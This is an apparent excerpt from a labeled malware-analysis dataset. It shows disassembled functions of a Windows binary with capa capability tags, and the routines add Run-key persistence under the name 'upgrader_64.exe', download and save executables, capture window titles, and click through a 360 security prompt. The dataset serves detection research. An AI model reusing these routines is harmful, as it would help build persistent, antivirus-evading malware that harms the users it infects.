joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009c08
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov dword [rax + 0x20], r9d
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x250
mov rsi, r8
mov rdi, rdx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x40]
call fcn.14027e650
nop
lea rax, [rsp + 0x260]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rdi
mov rdi, 0xffffffff80000001
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140009c78
or ebx, 0xffffffff
jmp 0x140009cf3
mov eax, dword [rsp + 0x30]
sub eax, 1
je 0x140009c86
sub eax, 1
jne 0x140009cf3
mov dword [rsp + 0x278], 0x208
lea rax, [rsp + 0x278]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140009cf3
lea rdx, [0x1403b7350]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140009c73
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x14000c344
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov r14, rcx
mov rbx, r9
mov rcx, qword [rcx + 0x148]
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r15, [r14 + 0x138]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdi, [r14 + 0x160]
mov r8, rbx
mov rcx, rdi
mov edx, 0xff
call fcn.140257550
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, rdi
mov rcx, rdi
lea eax, [rax*2 + 2]
movsxd r8, eax
mov dword [r14 + 0x360], eax
call fcn.14027dfb0
mov eax, dword [r14 + 0x360]
xor ebx, ebx
mov rcx, qword [r14 + 0x378]
add eax, 8
add rcx, 8
mov dword [r14 + 0x364], eax
mov word [rsp + 0x28], bx
xor r9d, r9d
movzx r8d, si
mov qword [rsp + 0x20], rbx
mov rdx, rbp
mov rax, qword [rcx]
call qword [rax]
test eax, eax
je 0x14000c43f
lea rbx, [r14 + 0x140]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbx]
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [r14 + 0x130]
sub rax, qword [r15]
xorps xmm1, xmm1
divsd xmm0, qword [0x1403b8348]
cvtsi2sd xmm1, rax
mov al, 1
divsd xmm1, xmm0
movsd qword [r14 + 0x128], xmm1
jmp 0x14000c441
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x14000cb5c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov ebx, dword [0x1403f5eb8]
lea rax, vtable.CManager.0
mov qword [rcx + 8], rdx
mov rsi, rdx
mov qword [rcx], rax
mov r14, rcx
mov rax, qword [rdx]
mov edi, r9d
mov rdx, rcx
mov rcx, rsi
call qword [rax + 0x18]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
and dword [r14 + 0x230], 0
lea r8, [0x1403f6100]
mov qword [r14 + 0x10], rax
lea rcx, [0x1403f5280]
lea rax, vtable.CKernelManager.0
mov edx, 0x208
mov qword [r14], rax
call fcn.140257550
lea r8, [0x1403f5ec0]
mov edx, 0x208
lea rcx, [0x1403f4e70]
call fcn.140257550
and dword [r14 + 0x238], 0
lea rcx, [0x1403b78a8]
and dword [r14 + 0x234], 0
mov dword [0x1403e5ef4], edi
mov dword [0x1403e5efc], ebx
mov qword [r14 + 0x228], rsi
mov qword [0x1403f5eb0], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
mov qword [r14 + 0x240], rax
lea rdx, str.RegCreateKeyExW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x240]
lea rdx, [0x1403b78d8]
mov qword [r14 + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x240]
lea rdx, str.RegDeleteKeyW
mov qword [r14 + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x240]
lea rdx, [0x1403b78f8]
mov qword [r14 + 0x258], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x240]
lea rdx, [0x1403b7908]
mov qword [r14 + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x240]
lea rdx, [0x1403b7920]
mov qword [r14 + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x240]
lea rdx, str.RegEnumValueW
mov qword [r14 + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x240]
lea rdx, str.RegEnumKeyExW
mov qword [r14 + 0x270], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x240]
lea rdx, [0x1403b7950]
mov qword [r14 + 0x278], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov qword [r14 + 0x280], rax
mov rax, r14
add rsp, 0x20
pop r14
ret
Function at 0x14000d434
Capabilities:
Get graphical window text
Get thread local storage value
Set thread local storage value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x20
mov rbp, rcx
mov ecx, 0x7532
call fcn.140248fd8
xor edx, edx
mov r8d, 0x7531
mov rdi, rax
lea rcx, [rax + 1]
call fcn.14027e650
xor edx, edx
mov byte [rdi], 2
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rbx, [rdi + 2]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000d49f
lea r8, [0x1403b7990]
mov edx, 0x36b0
mov rcx, rbx
call fcn.14000a0c0
jmp 0x14000d4f0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
xor r15d, r15d
test rax, rax
je 0x14000d4bf
mov r8d, 0x104
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
cmp word [rbx], r15w
jne 0x14000d4d9
lea r8, [0x1403b79a0]
mov edx, 0x3a98
mov rcx, rbx
call fcn.14000a0c0
mov r9, rbx
lea r8, [0x1403b79ac]
mov edx, 0x3a98
mov rcx, rbx
call fcn.14000a0c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 8]
mov r8d, 0x7532
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0x7532
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
jmp fcn.140248fa4
Function at 0x14000d53c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rbx, rcx
lea r9, [rsp + 0x40]
mov ecx, 5
mov rsi, rdx
mov rax, rdx
mov r14d, r8d
lea edx, [rcx + 0x7b]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r9], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r9 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [r9 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [r9 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [r9 + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [r9 + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, rdx
movups xmmword [r9 + 0x60], xmm0
add r9, rdx
movups xmmword [r9 - 0x10], xmm1
sub rcx, 1
jne 0x14000d572
movups xmm0, xmmword [rax]
xor edx, edx
mov r8d, 0x2d0
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x220]
movups xmmword [r9], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r9 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [r9 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
mov rax, qword [rax + 0x50]
movups xmmword [r9 + 0x30], xmm1
movups xmmword [r9 + 0x40], xmm0
mov qword [r9 + 0x50], rax
call fcn.14027e650
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x150]
and dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000d6e1
and qword [rsp + 0x20], 0
lea r8d, [r14 - 0x2d8]
lea rdx, [rsi + 0x2d8]
mov rcx, rax
lea r9, [rbp + 0x518]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000d6e1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x220]
test eax, eax
je 0x14000d6a6
lea r9, [rsp + 0x48]
lea r8, [rbp + 0x150]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x14000d6b3
lea rdx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x44]
test eax, eax
je 0x14000d6c5
cmp eax, 1
jne 0x14000d6da
xor r8d, r8d
jmp 0x14000d6cb
mov r8d, 5
lea rdx, [rbp + 0x220]
mov rcx, rbx
call fcn.14000d6fc
mov eax, 1
jmp 0x14000d6e3
xor eax, eax
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000d6fc
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xa28]
sub rsp, 0xb00
mov r14d, r8d
mov rdi, rdx
mov rsi, rcx
mov r12d, 0x208
mov r8d, r12d
lea rcx, [rbp - 0x20]
xor edx, edx
call fcn.14027e650
mov edx, 0x2e
mov rcx, rdi
call fcn.14024c840
xor r15d, r15d
mov rbx, rax
test rax, rax
je 0x14000d947
mov r8d, r12d
lea rcx, [rbp + 0x1f0]
xor edx, edx
call fcn.14027e650
lea r13d, [r15 + 0x20]
mov rcx, rbx
mov edx, r13d
call fcn.14024c840
mov r12d, 0x104
mov rcx, rbx
test rax, rax
je 0x14000d7ab
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x14000d7c6
cmp word [rbx + rcx*2], r13w
je 0x14000d7b1
dec eax
dec rcx
test rcx, rcx
jg 0x14000d798
jmp 0x14000d7c6
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r9, eax
lea rcx, [rbp + 0x1f0]
mov r8, rbx
mov rdx, r12
call fcn.140258108
lea rax, [rbp - 0x20]
mov rcx, rsi
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x1f0]
mov dword [rsp + 0x20], 1
call fcn.14000d96c
test eax, eax
je 0x14000d947
xor edx, edx
lea rcx, [rbp + 0x610]
mov r8d, 0x3e8
call fcn.14027e650
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
mov ebx, 0x208
lea rcx, [rbp - 0x20]
mov r8d, ebx
xor edx, edx
call fcn.14027e650
mov r8d, ebx
lea rcx, [rbp + 0x400]
xor edx, edx
call fcn.14027e650
lea rax, [rbp + 0x400]
mov rcx, rsi
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x610]
mov dword [rsp + 0x20], 2
call fcn.14000d96c
test eax, eax
je 0x14000d947
mov r8d, r12d
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x1403b79f8]
lea rcx, [rbp - 0x20]
call fcn.14024c60c
test rax, rax
jne 0x14000d8c7
lea rdx, [0x1403b7a00]
lea rcx, [rbp - 0x20]
call fcn.14024c60c
test rax, rax
jne 0x14000d8c7
lea rdx, [0x1403b7640]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rdi
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14000d8d3
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x54]
lea r8d, [rdx + 0x64]
call fcn.14027e650
mov dword [rsp + 0x50], WSAGetLastError
test r14d, r14d
je 0x14000d8fe
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x14000d90a
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r15w
lea rcx, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
jmp 0x14000d949
xor al, al
lea r11, [rsp + 0xb00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14000dc48
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x560]
sub rsp, 0x660
xor ebx, ebx
mov rdi, rcx
test edx, edx
je 0x14000de32
cmp edx, 1
jne 0x14000de1d
lea rcx, [0x1403b78a8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
mov qword [rdi + 0x240], rax
lea rdx, [0x1403b7908]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rdi + 0x240]
lea rdx, [0x1403b7920]
mov qword [rdi + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rdi + 0x240]
lea rdx, [0x1403b78d8]
mov qword [rdi + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rdi + 0x240]
lea rdx, [0x1403b7950]
mov qword [rdi + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x280], rax
cmp qword [rdi + 0x250], rbx
je 0x14000de1d
mov r10, qword [rdi + 0x268]
test r10, r10
je 0x14000de1d
cmp qword [rdi + 0x288], rbx
je 0x14000de1d
test rax, rax
je 0x14000de1d
lea rax, [rbp + 0x590]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call r10
test eax, eax
jne 0x14000de1d
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x590]
lea esi, [rbx + 1]
mov r9d, esi
lea rdx, str.upgrader_64.exe
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [rdi + 0x288]
test eax, eax
jne 0x14000de10
xor edx, edx
lea rcx, [rbp + 0x140]
mov r8d, 0x208
call fcn.14027e650
mov rcx, qword [rbp + 0x590]
lea rax, [rbp + 0x588]
mov qword [rsp + 0x28], rax
lea rdx, str.upgrader_64.exe
lea rax, [rbp + 0x140]
mov dword [rbp + 0x588], 0x208
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [rdi + 0x250]
mov rdx, qword [rdi + 0x280]
test eax, eax
je 0x14000de03
mov esi, ebx
mov rcx, qword [rbp + 0x590]
call rdx
mov eax, esi
jmp 0x14000de1f
mov rcx, qword [rbp + 0x590]
call qword [rdi + 0x280]
xor eax, eax
mov rbx, qword [rsp + 0x680]
add rsp, 0x660
pop rdi
pop rsi
pop rbp
ret
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call fcn.14027e650
xor edx, edx
lea rcx, [rbp + 0x140]
mov r8d, 0x208
call fcn.14027e650
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.SHGetSpecialFolderPathW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x290], rax
test rax, rax
je 0x14000de1d
mov r9d, 1
lea rdx, [rsp + 0x30]
xor ecx, ecx
lea r8d, [r9 + 6]
call rax
test eax, eax
je 0x14000de1d
mov r8d, 0x104
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, str.upgrader_64.exe
lea r8, [rsp + 0x30]
lea rdx, str._s_s
lea rcx, [rbp + 0x140]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r8d, r8d
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne bl
mov eax, ebx
jmp 0x14000de1f
Function at 0x14000def0
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r15
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
lea rax, [r11 + 8]
mov rbp, rdx
mov qword [r11 - 0x28], rax
mov rsi, r8
lea rdi, str.main
mov rbx, rcx
lea r15, str.back
mov rdx, rdi
mov r9d, 2
cmovne rdx, r15
mov rcx, 0xffffffff80000001
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea r8, [rsp + 0x50]
mov rcx, 0xffffffff80000001
cmovne rdi, r15
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000dfae
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rdx, rbp
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop rdi
pop rsi
ret
Function at 0x14000e100
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x840
and dword [rax + 0x18], 0
mov rbp, rcx
and dword [rax + 0x20], 0
lea rcx, str.wininet.dll
mov r15d, 1
mov rbx, rdx
mov sil, r15b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.InternetOpenW
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov r14, rax
test rax, rax
je 0x14000e19e
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbp
mov rcx, r14
call rax
mov rbp, rax
test rax, rax
jne 0x14000e1b3
test rdi, rdi
je 0x14000e1ac
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x14000e2a9
and qword [rsp + 0x30], 0
xor r9d, r9d
and dword [rsp + 0x28], 0
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000e270
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x800
call fcn.14027e650
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x880]
mov r8d, 0x800
lea rdx, [rsp + 0x40]
mov rcx, rbp
call rax
test r15d, r15d
je 0x14000e232
mov eax, 0x5a4d
cmp word [rsp + 0x40], ax
jne 0x14000e264
mov r8d, dword [rsp + 0x880]
lea r9, [rsp + 0x888]
xor r15d, r15d
lea rdx, [rsp + 0x40]
and qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x880], r15d
ja 0x14000e1e7
jmp 0x14000e267
xor sil, sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, rbp
call rbx
mov rcx, r14
call rbx
test rdi, rdi
je 0x14000e2a6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, sil
mov rbx, qword [rsp + 0x870]
add rsp, 0x840
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000f354
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov r14, rcx
mov rdi, r9
mov rcx, qword [rcx + 0x148]
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [r14 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r12d, r12d
lea r15, [r14 + 0x138]
mov eax, r12d
mov rcx, r15
xchg dword [r14 + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rbx, [r14 + 0x160]
mov r8, rdi
mov rcx, rbx
mov edx, 0xff
call fcn.140257550
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, rbx
mov rcx, rbx
lea eax, [rax*2 + 2]
movsxd r8, eax
mov dword [r14 + 0x360], eax
call fcn.14027dfb0
mov eax, dword [r14 + 0x360]
lea edi, [r12 + 1]
mov rcx, qword [r14 + 0x378]
add eax, 8
add rcx, 8
mov dword [r14 + 0x364], eax
mov word [rsp + 0x28], r12w
mov r9d, edi
movzx r8d, si
mov qword [rsp + 0x20], r12
mov rdx, rbp
mov rax, qword [rcx]
call qword [rax]
mov rcx, qword [r14 + 0x380]
mov edx, 0xfa0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000f45e
cmp eax, 0x102
je 0x14000f44d
cmp eax, 0xffffffff
jne 0x14000f45a
mov rcx, qword [r14 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x14000f4b6
lea rbx, [r14 + 0x140]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbx]
xorps xmm0, xmm0
sub rcx, qword [r15]
xorps xmm1, xmm1
cvtsi2sd xmm0, qword [r14 + 0x130]
cvtsi2sd xmm1, rcx
mov ecx, edi
divsd xmm0, qword [0x1403b8348]
divsd xmm1, xmm0
movsd qword [r14 + 0x128], xmm1
xchg dword [r14 + 0x150], ecx
mov rcx, qword [r14 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x1400115c0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x40
call fcn.140010d70
call fcn.14000fe08
xor edx, edx
lea rcx, str.Q360HIPSClass
call qword [sym.imp.USER32.dll_FindWindowW]
mov rdx, rax
mov rbx, rax
call fcn.1400129a4
test rbx, rbx
je 0x140011693
mov r9d, 0x1540244
xor r8d, r8d
mov edx, 0x201
mov rcx, rbx
call qword [sym.imp.USER32.dll_PostMessageW]
mov r9d, 0x1540244
xor r8d, r8d
mov edx, 0x202
mov rcx, rbx
call qword [sym.imp.USER32.dll_PostMessageW]
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x30]
add edx, 0x172
add ecx, 0x1e7
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x30]
add edx, 0x170
add ecx, 0x1e7
call qword [sym.imp.USER32.dll_SetCursorPos]
and qword [rsp + 0x20], 0
xor edx, edx
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 6]
call qword [sym.imp.USER32.dll_mouse_event]
mov edx, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.USER32.dll_SetCursorPos]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov ecx, eax
xor edx, edx
call qword [sym.imp.USER32.dll_PostThreadMessageA]
and qword [rsp + 0x28], 0
lea r8, [0x1400108b4]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x40
pop rbx
ret
Function at 0x140011d14
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140011d42
xor eax, eax
jmp 0x140011e28
cmp qword [rcx + 0x68], 0
je 0x140011d53
call fcn.1400125fc
jmp 0x140011e28
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140011d6a
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140011d6c
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140011d9e
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14027dfb0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
